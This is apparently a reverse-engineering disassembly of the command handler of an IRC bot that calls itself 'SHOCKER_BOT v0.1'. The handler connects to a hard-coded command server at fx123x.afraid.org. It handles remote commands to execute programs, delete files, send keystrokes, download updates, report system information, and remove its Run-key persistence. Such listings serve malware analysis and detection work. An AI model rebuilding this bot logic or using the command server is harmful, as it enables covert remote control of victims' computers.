Function at 0x4025a6
Capabilities:
Create process on windows
Create thread
Delete file
Get memory capacity
Persist via run registry key
Schedule task via at
Self delete

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x13e4
call fcn.00407054
push ebx
push esi
push edi
mov esi, dword [ebp + 0x1c]
mov dword [ebp - 0x100c], 0x10
mov eax, dword [ebp + 0x20]
dec dword [eax]
push dword [ebp + 0x18]
call fcn.00401b47
pop ecx
mov ebx, eax
or eax, eax
je 0x40261c
push 0x20
push 0
push dword [ebp + 0x18]
push dword [ebx + 0xc]
call fcn.00401952
push dword [ebp + 0x18]
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x1388], eax
push dword [ebp + 0x18]
push dword [ebx + 0xc]
call sub.CRTDLL.DLL_strstr
add esp, 0x18
mov edi, dword [ebp - 0x1388]
lea esi, [edi + eax + 1]
cmp dword [ebx + 4], 0
jne 0x40261c
cmp dword [ebp + 0xc], 1
je 0x403ae4
push 0x40b47c
push 0x40c687
push esi
call fcn.00403b9d
push dword [ebp + 0x10]
push str._user
push esi
call fcn.00403b9d
push dword [ebp + 0x14]
push str._reply
push esi
call fcn.00403b9d
push 0x40b14c
push str._botexe
push esi
call fcn.00403b9d
push 0x40b36c
push str._windir
push esi
call fcn.00403b9d
push 0x40b25c
push str._tempdir
push esi
call fcn.00403b9d
push 0x40b03c
push str._sysdir
push esi
call fcn.00403b9d
imul eax, dword [0x40c3bc], 0x165
lea eax, [eax + 0x40c1ca]
push eax
push str._chan
push esi
call fcn.00403b9d
imul eax, dword [0x40c3bc], 0x165
lea eax, [eax + 0x40c1ea]
push eax
push str._key
push esi
call fcn.00403b9d
imul eax, dword [0x40c3bc], 0x165
lea eax, [eax + str.fx123x.afraid.org]
push eax
push str._server
push esi
call fcn.00403b9d
imul eax, dword [0x40c3bc], 0x165
lea eax, [eax + 0x40c1a5]
push eax
push str._port
push esi
call fcn.00403b9d
add esp, 0x84
and dword [ebp - 4], 0
xor ebx, ebx
jmp 0x40272c
push 0x20
mov edi, dword [ebp - 4]
push edi
shl edi, 8
lea edi, [ebp + edi - 0x1004]
push edi
push esi
call fcn.00401952
add esp, 0x10
or eax, eax
je 0x402729
inc ebx
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x10
jl 0x40270a
push str.exit
push dword [ebp + 0x18]
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x402754
cmp dword [ebp + 0xc], eax
jne 0x402754
push 0
call sub.KERNEL32.DLL_ExitProcess
jmp 0x402d09
push str.remove
push dword [ebp + 0x18]
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x4027d2
cmp dword [ebp + 0xc], eax
jne 0x4027d2
push str.QUIT_:removing.._r_n
push dword [0x40b49c]
call fcn.004018fa
push dword [0x40b49c]
call sub.WS2_32.DLL_closesocket
push dword [0x40b5ac]
call sub.KERNEL32.DLL_ReleaseMutex
push dword [0x40b5ac]
call sub.KERNEL32.DLL_CloseHandle
push str.Recycle_Bin_Handler
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call fcn.00401d82
push str.ProductRun
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push 0x80000002
call fcn.00401d82
add esp, 0x20
push 0
call sub.KERNEL32.DLL_ExitProcess
jmp 0x402d09
push str.restart
push dword [ebp + 0x18]
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x402808
cmp dword [ebp + 0xc], eax
jne 0x402808
push 0
push 0
push 0
push 0x40b14c
push 0
push 0
call sub.SHELL32.DLL_ShellExecuteA
push 0
call sub.KERNEL32.DLL_ExitProcess
jmp 0x402d09
push str.uptime
push dword [ebp + 0x18]
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x402af1
call sub.KERNEL32.DLL_GetTickCount
mov ecx, 0x3e8
mov edx, 0x10624dd3
mul edx
shr edx, 6
mov dword [ebp - 0x1388], edx
mov eax, edx
mov ecx, 0x15180
mov edx, 0xc22e4507
mul edx
shr edx, 0x10
mov dword [ebp - 0x138c], edx
push edx
call sub.CRTDLL.DLL_abs
mov edi, eax
call sub.KERNEL32.DLL_GetTickCount
mov ecx, 0x3e8
mov edx, 0x10624dd3
mul edx
shr edx, 6
mov dword [ebp - 0x1390], edx
mov eax, edx
mov ecx, 0x15180
xor edx, edx
div ecx
mov eax, edx
mov ecx, 0xe10
mov edx, 0x91a2b3c5
mul edx
shr edx, 0xb
mov dword [ebp - 0x1394], edx
push edx
call sub.CRTDLL.DLL_abs
mov dword [ebp - 0x1398], eax
call sub.KERNEL32.DLL_GetTickCount
mov ecx, 0x3e8
mov edx, 0x10624dd3
mul edx
shr edx, 6
mov dword [ebp - 0x139c], edx
mov eax, edx
mov ecx, 0x15180
xor edx, edx
div ecx
mov eax, edx
mov ecx, 0xe10
xor edx, edx
div ecx
mov eax, edx
mov ecx, 0x3c
mov edx, 0x88888889
mul edx
shr edx, 5
mov dword [ebp - 0x13a0], edx
push edx
call sub.CRTDLL.DLL_abs
mov dword [ebp - 0x13a4], eax
call sub.KERNEL32.DLL_GetTickCount
mov edx, 0x3c
mov dword [ebp - 0x13ac], edx
mov dword [ebp - 0x13a8], eax
mov ecx, 0x3e8
mov edx, 0x10624dd3
mul edx
shr edx, 6
mov dword [ebp - 0x13b0], edx
mov eax, edx
mov ecx, 0x15180
xor edx, edx
div ecx
mov eax, edx
mov ecx, 0xe10
xor edx, edx
div ecx
mov eax, edx
mov edx, dword [ebp - 0x13ac]
mov ecx, edx
xor edx, edx
div ecx
mov eax, edx
mov edx, dword [ebp - 0x13ac]
mov ecx, edx
xor edx, edx
div ecx
push edx
call sub.CRTDLL.DLL_abs
mov dword [ebp - 0x13b4], eax
call sub.KERNEL32.DLL_GetTickCount
sub eax, dword [0x40b470]
mov ecx, 0x3e8
mov edx, 0x10624dd3
mul edx
shr edx, 6
mov dword [ebp - 0x13b8], edx
mov eax, edx
mov ecx, 0x15180
mov edx, 0xc22e4507
mul edx
shr edx, 0x10
mov dword [ebp - 0x13bc], edx
push edx
call sub.CRTDLL.DLL_abs
mov dword [ebp - 0x13c0], eax
call sub.KERNEL32.DLL_GetTickCount
sub eax, dword [0x40b470]
mov ecx, 0x3e8
mov edx, 0x10624dd3
mul edx
shr edx, 6
mov dword [ebp - 0x13c4], edx
mov eax, edx
mov ecx, 0x15180
xor edx, edx
div ecx
mov eax, edx
mov ecx, 0xe10
mov edx, 0x91a2b3c5
mul edx
shr edx, 0xb
mov dword [ebp - 0x13c8], edx
push edx
call sub.CRTDLL.DLL_abs
mov dword [ebp - 0x13cc], eax
call sub.KERNEL32.DLL_GetTickCount
sub eax, dword [0x40b470]
mov ecx, 0x3e8
mov edx, 0x10624dd3
mul edx
shr edx, 6
mov dword [ebp - 0x13d0], edx
mov eax, edx
mov ecx, 0x15180
xor edx, edx
div ecx
mov eax, edx
mov ecx, 0xe10
xor edx, edx
div ecx
mov eax, edx
mov ecx, 0x3c
mov edx, 0x88888889
mul edx
shr edx, 5
mov dword [ebp - 0x13d4], edx
push edx
call sub.CRTDLL.DLL_abs
mov dword [ebp - 0x13d8], eax
call sub.KERNEL32.DLL_GetTickCount
mov edx, 0x3c
mov dword [ebp - 0x13e0], edx
sub eax, dword [0x40b470]
mov dword [ebp - 0x13dc], eax
mov ecx, 0x3e8
mov edx, 0x10624dd3
mul edx
shr edx, 6
mov dword [ebp - 0x13e4], edx
mov eax, edx
mov ecx, 0x15180
xor edx, edx
div ecx
mov eax, edx
mov ecx, 0xe10
xor edx, edx
div ecx
mov eax, edx
mov edx, dword [ebp - 0x13e0]
mov ecx, edx
xor edx, edx
div ecx
mov eax, edx
mov edx, dword [ebp - 0x13e0]
mov ecx, edx
xor edx, edx
div ecx
push edx
call sub.CRTDLL.DLL_abs
push eax
mov edx, dword [ebp - 0x13d8]
push edx
mov edx, dword [ebp - 0x13cc]
push edx
mov edx, dword [ebp - 0x13c0]
push edx
mov edx, dword [ebp - 0x13b4]
push edx
mov edx, dword [ebp - 0x13a4]
push edx
mov edx, dword [ebp - 0x1398]
push edx
push edi
push dword [ebp + 0x14]
push str.PRIVMSG__s_:system_time:__02dd__02dh:_02dm:_ds_connection_time:__02dd__02dh:_02dm:_ds_r_n
push dword [ebp + 8]
call fcn.004018fa
add esp, 0x4c
jmp 0x402d09
push str.sysinfo
push dword [ebp + 0x18]
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x402cc2
lea eax, [ebp - 0x1374]
push eax
call sub.KERNEL32.DLL_GlobalMemoryStatus
call fcn.00403ae9
push eax
call sub.CRTDLL.DLL_abs
mov edi, eax
call sub.KERNEL32.DLL_GetTickCount
mov ecx, 0x3e8
mov edx, 0x10624dd3
mul edx
shr edx, 6
mov dword [ebp - 0x1388], edx
mov eax, edx
mov ecx, 0x15180
mov edx, 0xc22e4507
mul edx
shr edx, 0x10
mov dword [ebp - 0x138c], edx
push edx
call sub.CRTDLL.DLL_abs
mov dword [ebp - 0x1390], eax
call sub.KERNEL32.DLL_GetTickCount
mov ecx, 0x3e8
mov edx, 0x10624dd3
mul edx
shr edx, 6
mov dword [ebp - 0x1394], edx
mov eax, edx
mov ecx, 0x15180
xor edx, edx
div ecx
mov eax, edx
mov ecx, 0xe10
mov edx, 0x91a2b3c5
mul edx
shr edx, 0xb
mov dword [ebp - 0x1398], edx
push edx
call sub.CRTDLL.DLL_abs
mov dword [ebp - 0x139c], eax
call sub.KERNEL32.DLL_GetTickCount
mov ecx, 0x3e8
mov edx, 0x10624dd3
mul edx
shr edx, 6
mov dword [ebp - 0x13a0], edx
mov eax, edx
mov ecx, 0x15180
xor edx, edx
div ecx
mov eax, edx
mov ecx, 0xe10
xor edx, edx
div ecx
mov eax, edx
mov ecx, 0x3c
mov edx, 0x88888889
mul edx
shr edx, 5
mov dword [ebp - 0x13a4], edx
push edx
call sub.CRTDLL.DLL_abs
mov dword [ebp - 0x13a8], eax
call sub.KERNEL32.DLL_GetTickCount
mov edx, 0x3c
mov dword [ebp - 0x13b0], edx
mov dword [ebp - 0x13ac], eax
mov ecx, 0x3e8
mov edx, 0x10624dd3
mul edx
shr edx, 6
mov dword [ebp - 0x13b4], edx
mov eax, edx
mov ecx, 0x15180
xor edx, edx
div ecx
mov eax, edx
mov ecx, 0xe10
xor edx, edx
div ecx
mov eax, edx
mov edx, dword [ebp - 0x13b0]
mov ecx, edx
xor edx, edx
div ecx
mov eax, edx
mov edx, dword [ebp - 0x13b0]
mov ecx, edx
xor edx, edx
div ecx
push edx
call sub.CRTDLL.DLL_abs
mov ecx, dword [ebp - 0x1364]
shr ecx, 0x14
push ecx
mov ecx, dword [ebp - 0x1360]
shr ecx, 0x14
push ecx
mov ecx, dword [ebp - 0x135c]
shr ecx, 0x14
push ecx
mov ecx, dword [ebp - 0x1358]
shr ecx, 0x14
push ecx
mov ecx, dword [ebp - 0x136c]
shr ecx, 0x14
push ecx
mov ecx, dword [ebp - 0x1368]
shr ecx, 0x14
push ecx
push eax
mov edx, dword [ebp - 0x13a8]
push edx
mov edx, dword [ebp - 0x139c]
push edx
mov edx, dword [ebp - 0x1390]
push edx
push edi
push dword [ebp + 0x14]
push str.PRIVMSG__s_:speed:__dMHz_system_time:__02dd__02dh:_02dm:_ds_physical:__d__dMB_virtual:__d__dMB_pagefile:__d__dMB_r_n
push dword [ebp + 8]
call fcn.004018fa
add esp, 0x4c
jmp 0x402d09
push str.version
push dword [ebp + 0x18]
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x402d09
push str.09:09:13
push str.Mar_17_2005
push dword [0x40b4a0]
movzx eax, word [0x40c3b8]
push eax
push dword [0x40c3b4]
push str.SHOCKER_BOT_v0.1
push dword [ebp + 0x14]
push str.PRIVMSG__s_:_s__id:__d___socks4:__d___runs:__d__by_matt__m00pcrew__compiled_on__s___s__r_n
push dword [ebp + 8]
call fcn.004018fa
add esp, 0x24
cmp ebx, 1
jl 0x403ae4
push 0x40c4d5
push dword [ebp + 0x18]
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x402d39
push esi
push str._s_r_n
push dword [ebp + 8]
call fcn.004018fa
add esp, 0xc
jmp 0x402e59
push str.disconnect
push dword [ebp + 0x18]
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x402da2
lea eax, [ebp - 0x1004]
push eax
call sub.CRTDLL.DLL_atoi
push eax
call sub.CRTDLL.DLL_abs
add esp, 8
cmp eax, 0x1388
jg 0x403ae4
push 2
push dword [ebp + 8]
call sub.WS2_32.DLL_shutdown
push dword [ebp + 8]
call sub.WS2_32.DLL_closesocket
lea eax, [ebp - 0x1004]
push eax
call sub.CRTDLL.DLL_atoi
imul edi, eax, 0x3e8
push edi
call sub.CRTDLL.DLL_abs
add esp, 8
push eax
call sub.KERNEL32.DLL_Sleep
jmp 0x402e59
push str.delete
push dword [ebp + 0x18]
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x402ded
push esi
call sub.KERNEL32.DLL_DeleteFileA
cmp eax, 1
jne 0x402dd7
push esi
push dword [ebp + 0x14]
push str.PRIVMSG__s_:_s_deleted_r_n
push dword [ebp + 8]
call fcn.004018fa
add esp, 0x10
jmp 0x402e59
push esi
push dword [ebp + 0x14]
push str.PRIVMSG__s_:_s_was_not_deleted_r_n
push dword [ebp + 8]
call fcn.004018fa
add esp, 0x10
jmp 0x402e59
push str.execute
push dword [ebp + 0x18]
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x402e41
lea eax, [ebp - 0x1004]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x1388], eax
lea edi, [ebp - 0x1004]
push edi
push esi
call sub.CRTDLL.DLL_strstr
add esp, 8
push 0
push 0
mov edi, dword [ebp - 0x1388]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0x1004]
push edi
push 0
push 0
call sub.SHELL32.DLL_ShellExecuteA
jmp 0x402e59
push str.sendkeys
push dword [ebp + 0x18]
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x402e59
push esi
call fcn.00403c6b
pop ecx
cmp ebx, 2
jl 0x403ae4
push str.repeat
push dword [ebp + 0x18]
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x402ee8
lea eax, [ebp - 0x1004]
push eax
call sub.CRTDLL.DLL_atoi
push eax
call sub.CRTDLL.DLL_abs
add esp, 8
mov dword [ebp - 4], eax
test eax, eax
jne 0x402edd
jmp 0x403ae4
lea eax, [ebp - 0xf04]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x1388], eax
lea edi, [ebp - 0xf04]
push edi
push esi
call sub.CRTDLL.DLL_strstr
lea edi, [ebp - 4]
push edi
mov edi, dword [ebp - 0x1388]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0xf03]
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x24
cmp dword [ebp - 4], 0
jg 0x402e94
jmp 0x40301a
push str.delay
push dword [ebp + 0x18]
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x402f72
lea eax, [ebp - 0x1004]
push eax
call sub.CRTDLL.DLL_atoi
imul edi, eax, 0x3e8
push edi
call sub.CRTDLL.DLL_abs
push eax
call sub.KERNEL32.DLL_Sleep
lea eax, [ebp - 0xf04]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x138c], eax
lea edi, [ebp - 0xf04]
push edi
push esi
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x1388], 1
lea edi, [ebp - 0x1388]
push edi
mov edi, dword [ebp - 0x138c]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0xf03]
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x2c
jmp 0x40301a
push str.update
push dword [ebp + 0x18]
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
je 0x402f98
push str.download
push dword [ebp + 0x18]
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x40301a
push 0x348
lea eax, [ebp - 0x1354]
push eax
call sub.KERNEL32.DLL_RtlZeroMemory
push dword [ebp + 0x14]
lea eax, [ebp - 0x1354]
push eax
call sub.KERNEL32.DLL_lstrcpyA
lea eax, [ebp - 0x1004]
push eax
lea eax, [ebp - 0x1314]
push eax
call sub.KERNEL32.DLL_lstrcpyA
lea eax, [ebp - 0xf04]
push eax
lea eax, [ebp - 0x1114]
push eax
call sub.KERNEL32.DLL_lstrcpyA
push str.update
push dword [ebp + 0x18]
call sub.KERNEL32.DLL_lstrcmpiA
xor edx, edx
cmp eax, edx
sete dl
mov dword [ebp - 0x1010], edx
push 0x40b4a4
push 0
lea eax, [ebp - 0x1354]
push eax
push 0x403da1
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
push eax
call sub.KERNEL32.DLL_CloseHandle
cmp ebx, 3
jl 0x403ae4
push 0x40c453
push dword [ebp + 0x18]
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x403ad5
push 0x40c450
lea eax, [ebp - 0xf04]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x403059
and dword [ebp - 0x1008], 0
jmp 0x4030ff
push 0x40c44d
lea eax, [ebp - 0xf04]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x40307d
mov dword [ebp - 0x1008], 1
jmp 0x4030ff
push 0x40c44b
lea eax, [ebp - 0xf04]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x40309e
mov dword [ebp - 0x1008], 2
jmp 0x4030ff
push 0x40c448
lea eax, [ebp - 0xf04]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x4030bf
mov dword [ebp - 0x1008], 3
jmp 0x4030ff
push 0x40c446
lea eax, [ebp - 0xf04]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x4030e0
mov dword [ebp - 0x1008], 4
jmp 0x4030ff
push 0x40c443
lea eax, [ebp - 0xf04]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x4030ff
mov dword [ebp - 0x1008], 5
push str.uptime
lea eax, [ebp - 0x1004]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x40344f
call sub.KERNEL32.DLL_GetTickCount
mov ecx, 0x3e8
mov edx, 0x10624dd3
mul edx
shr edx, 6
mov dword [ebp - 0x1388], edx
mov eax, edx
mov ecx, 0x15180
mov edx, 0xc22e4507
mul edx
shr edx, 0x10
mov dword [ebp - 0x138c], edx
push edx
call sub.CRTDLL.DLL_abs
pop ecx
mov dword [ebp - 4], eax
cmp dword [ebp - 0x1008], 0
jne 0x4031d1
lea eax, [ebp - 0xe04]
push eax
call sub.CRTDLL.DLL_atoi
push eax
call sub.CRTDLL.DLL_abs
add esp, 8
cmp dword [ebp - 4], eax
jne 0x4031d1
lea eax, [ebp - 0xd04]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x1394], eax
lea edi, [ebp - 0xd04]
push edi
push esi
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x1390], 1
lea edi, [ebp - 0x1390]
push edi
mov edi, dword [ebp - 0x1394]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0xd03]
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x24
jmp 0x403ad5
cmp dword [ebp - 0x1008], 1
jne 0x40324f
lea eax, [ebp - 0xe04]
push eax
call sub.CRTDLL.DLL_atoi
push eax
call sub.CRTDLL.DLL_abs
add esp, 8
cmp dword [ebp - 4], eax
je 0x40324f
lea eax, [ebp - 0xd04]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x1394], eax
lea edi, [ebp - 0xd04]
push edi
push esi
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x1390], 1
lea edi, [ebp - 0x1390]
push edi
mov edi, dword [ebp - 0x1394]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0xd03]
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x24
jmp 0x403ad5
cmp dword [ebp - 0x1008], 2
jne 0x4032cd
lea eax, [ebp - 0xe04]
push eax
call sub.CRTDLL.DLL_atoi
push eax
call sub.CRTDLL.DLL_abs
add esp, 8
cmp dword [ebp - 4], eax
jle 0x4032cd
lea eax, [ebp - 0xd04]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x1394], eax
lea edi, [ebp - 0xd04]
push edi
push esi
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x1390], 1
lea edi, [ebp - 0x1390]
push edi
mov edi, dword [ebp - 0x1394]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0xd03]
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x24
jmp 0x403ad5
cmp dword [ebp - 0x1008], 3
jne 0x40334b
lea eax, [ebp - 0xe04]
push eax
call sub.CRTDLL.DLL_atoi
push eax
call sub.CRTDLL.DLL_abs
add esp, 8
cmp dword [ebp - 4], eax
jl 0x40334b
lea eax, [ebp - 0xd04]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x1394], eax
lea edi, [ebp - 0xd04]
push edi
push esi
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x1390], 1
lea edi, [ebp - 0x1390]
push edi
mov edi, dword [ebp - 0x1394]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0xd03]
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x24
jmp 0x403ad5
cmp dword [ebp - 0x1008], 4
jne 0x4033c9
lea eax, [ebp - 0xe04]
push eax
call sub.CRTDLL.DLL_atoi
push eax
call sub.CRTDLL.DLL_abs
add esp, 8
cmp dword [ebp - 4], eax
jge 0x4033c9
lea eax, [ebp - 0xd04]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x1394], eax
lea edi, [ebp - 0xd04]
push edi
push esi
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x1390], 1
lea edi, [ebp - 0x1390]
push edi
mov edi, dword [ebp - 0x1394]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0xd03]
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x24
jmp 0x403ad5
cmp dword [ebp - 0x1008], 5
jne 0x403ad5
lea eax, [ebp - 0xe04]
push eax
call sub.CRTDLL.DLL_atoi
push eax
call sub.CRTDLL.DLL_abs
add esp, 8
cmp dword [ebp - 4], eax
jg 0x403ad5
lea eax, [ebp - 0xd04]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x1394], eax
lea edi, [ebp - 0xd04]
push edi
push esi
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x1390], 1
lea edi, [ebp - 0x1390]
push edi
mov edi, dword [ebp - 0x1394]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0xd03]
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x24
jmp 0x403ad5
push 0x40c440
lea eax, [ebp - 0x1004]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x403775
cmp dword [ebp - 0x1008], eax
jne 0x4034e8
lea eax, [ebp - 0xe04]
push eax
call sub.CRTDLL.DLL_atoi
push eax
call sub.CRTDLL.DLL_abs
add esp, 8
cmp dword [0x40c3b4], eax
jne 0x4034e8
lea eax, [ebp - 0xd04]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x138c], eax
lea edi, [ebp - 0xd04]
push edi
push esi
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x1388], 1
lea edi, [ebp - 0x1388]
push edi
mov edi, dword [ebp - 0x138c]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0xd03]
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x24
jmp 0x403ad5
cmp dword [ebp - 0x1008], 1
jne 0x403569
lea eax, [ebp - 0xe04]
push eax
call sub.CRTDLL.DLL_atoi
push eax
call sub.CRTDLL.DLL_abs
add esp, 8
cmp dword [0x40c3b4], eax
je 0x403569
lea eax, [ebp - 0xd04]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x138c], eax
lea edi, [ebp - 0xd04]
push edi
push esi
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x1388], 1
lea edi, [ebp - 0x1388]
push edi
mov edi, dword [ebp - 0x138c]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0xd03]
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x24
jmp 0x403ad5
cmp dword [ebp - 0x1008], 2
jne 0x4035ea
lea eax, [ebp - 0xe04]
push eax
call sub.CRTDLL.DLL_atoi
push eax
call sub.CRTDLL.DLL_abs
add esp, 8
cmp dword [0x40c3b4], eax
jbe 0x4035ea
lea eax, [ebp - 0xd04]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x138c], eax
lea edi, [ebp - 0xd04]
push edi
push esi
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x1388], 1
lea edi, [ebp - 0x1388]
push edi
mov edi, dword [ebp - 0x138c]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0xd03]
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x24
jmp 0x403ad5
cmp dword [ebp - 0x1008], 3
jne 0x40366b
lea eax, [ebp - 0xe04]
push eax
call sub.CRTDLL.DLL_atoi
push eax
call sub.CRTDLL.DLL_abs
add esp, 8
cmp dword [0x40c3b4], eax
jb 0x40366b
lea eax, [ebp - 0xd04]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x138c], eax
lea edi, [ebp - 0xd04]
push edi
push esi
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x1388], 1
lea edi, [ebp - 0x1388]
push edi
mov edi, dword [ebp - 0x138c]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0xd03]
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x24
jmp 0x403ad5
cmp dword [ebp - 0x1008], 4
jne 0x4036ec
lea eax, [ebp - 0xe04]
push eax
call sub.CRTDLL.DLL_atoi
push eax
call sub.CRTDLL.DLL_abs
add esp, 8
cmp dword [0x40c3b4], eax
jae 0x4036ec
lea eax, [ebp - 0xd04]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x138c], eax
lea edi, [ebp - 0xd04]
push edi
push esi
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x1388], 1
lea edi, [ebp - 0x1388]
push edi
mov edi, dword [ebp - 0x138c]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0xd03]
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x24
jmp 0x403ad5
cmp dword [ebp - 0x1008], 5
jne 0x403ad5
lea eax, [ebp - 0xe04]
push eax
call sub.CRTDLL.DLL_atoi
push eax
call sub.CRTDLL.DLL_abs
add esp, 8
cmp dword [0x40c3b4], eax
ja 0x403ad5
lea eax, [ebp - 0xd04]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x138c], eax
lea edi, [ebp - 0xd04]
push edi
push esi
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x1388], 1
lea edi, [ebp - 0x1388]
push edi
mov edi, dword [ebp - 0x138c]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0xd03]
push edi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004025a6
add esp, 0x24
jmp 0x403ad5
push 0x40c43c
lea eax, [ebp - 0x1004]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x4038b5
cmp dword [ebp - 0x1008], eax
jne 0x40381f
call fcn.00401def
mov dword [ebp - 0x1388], eax
lea edi, [ebp - 0xe04]
push edi
call sub.CRTDLL.DLL_atoi
push eax
call sub.CRTDLL.DLL_abs
add esp, 8
mov edx, dword [ebp - 0x1388]
cmp edx, eax
jne 0x40381f
lea eax, [ebp - 0xd04]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x1390], eax
lea edi, [ebp - 0xd04]
push edi
push esi
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x138c], 1
lea edi, [ebp - 0x138c]
push edi
mov edi, dword [ebp - 0x1390]
lea edi, [edi + eax + 1]
push edi
lea edi, [ebp - 0xd03]
push edi
push dword [ebp + 0x14]
